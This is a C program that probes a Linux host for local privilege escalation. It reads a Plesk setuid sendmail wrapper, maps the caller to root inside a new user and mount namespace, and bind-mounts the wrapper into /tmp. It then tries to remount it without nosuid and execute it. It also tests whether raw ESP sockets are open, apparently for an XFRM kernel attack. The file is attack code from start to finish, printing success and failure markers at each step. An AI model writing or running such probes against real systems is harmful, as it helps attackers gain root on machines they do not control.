#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdarg.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define TARGET "/usr/lib64/plesk-9.0/postfix-sendmail-wrapper"

static void write_file(const char *p, const char *fmt, ...) {
    int fd = open(p, O_WRONLY); if (fd<0) return;
    char buf[256]; va_list ap; va_start(ap, fmt);
    int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
    write(fd, buf, n); close(fd);
}

int main(void) {
    uid_t ruid = getuid();
    gid_t rgid = getgid();
    printf("[*] real uid=%u gid=%u\n", ruid, rgid);
    fflush(stdout);

    /* Check if sendmail wrapper is readable */
    int fd = open(TARGET, O_RDONLY);
    if (fd < 0) {
        printf("[-] cannot open %s: %s\n", TARGET, strerror(errno));
    } else {
        printf("[+] %s opened fd=%d\n", TARGET, fd);
        char hdr[4];
        read(fd, hdr, 4);
        printf("[*] first 4 bytes: %02x%02x%02x%02x\n", (unsigned char)hdr[0],(unsigned char)hdr[1],(unsigned char)hdr[2],(unsigned char)hdr[3]);
        close(fd);
    }
    fflush(stdout);

    /* Try unshare(USER|NS) */
    if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) {
        printf("[-] unshare(USER|NS): %s\n", strerror(errno));
        return 1;
    }
    printf("[+] unshare(USER|NS) OK\n");
    fflush(stdout);

    write_file("/proc/self/setgroups", "deny");
    write_file("/proc/self/uid_map", "0 %u 1", ruid);
    write_file("/proc/self/gid_map", "0 %u 1", rgid);

    printf("[*] uid now=%u euid=%u\n", getuid(), geteuid());
    fflush(stdout);

    /* Try bind mount of sendmail wrapper without nosuid */
    mkdir("/tmp/ns_dir2", 0755);
    /* Create a file to use as mount target */
    int tfd = open("/tmp/ns_dir2/sm", O_CREAT|O_WRONLY, 0644);
    if (tfd >= 0) close(tfd);

    /* Bind mount: inherit mount options from source */
    int r = mount(TARGET, "/tmp/ns_dir2/sm", NULL, MS_BIND, NULL);
    if (r < 0) {
        printf("[-] bind mount failed: %s\n", strerror(errno));
    } else {
        printf("[+] bind mount OK at /tmp/ns_dir2/sm\n");
        /* Try remount without nosuid */
        int r2 = mount(NULL, "/tmp/ns_dir2/sm", NULL, MS_REMOUNT|MS_BIND, NULL);
        if (r2 < 0) {
            printf("[-] remount failed: %s\n", strerror(errno));
        } else {
            printf("[+] remount OK - no nosuid flag set explicitly\n");
        }
        /* Try to execute it */
        char *argv[] = {"/tmp/ns_dir2/sm", NULL};
        execv("/tmp/ns_dir2/sm", argv);
        printf("[-] execv: %s\n", strerror(errno));
    }

    /* Try unshare with NET too (for XFRM check) */
    printf("[*] Testing XFRM availability\n");
    /* Check AF_XFRM socket */
    int xs = socket(AF_INET, SOCK_RAW, 50); /* IPPROTO_ESP=50 */
    if (xs < 0)
        printf("[-] raw ESP socket: %s\n", strerror(errno));
    else {
        printf("[+] raw ESP socket OK\n");
        close(xs);
    }
    fflush(stdout);

    printf("[*] done\n");
    return 0;
}
